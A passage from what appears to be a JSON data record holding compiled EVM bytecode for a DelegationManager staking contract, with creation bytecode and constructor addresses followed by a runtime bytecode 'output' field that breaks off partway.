611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f00000000000000000000000000000000000000000000000000000000000000004603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f0000000000000000000000000000000000000000000000000000000000000000169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220d8f8a7ae09f40353d16d290ba75d56306b46ad94ae3137a6fa1888bdf0b3380664736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c8530000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6", - "output": "0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba8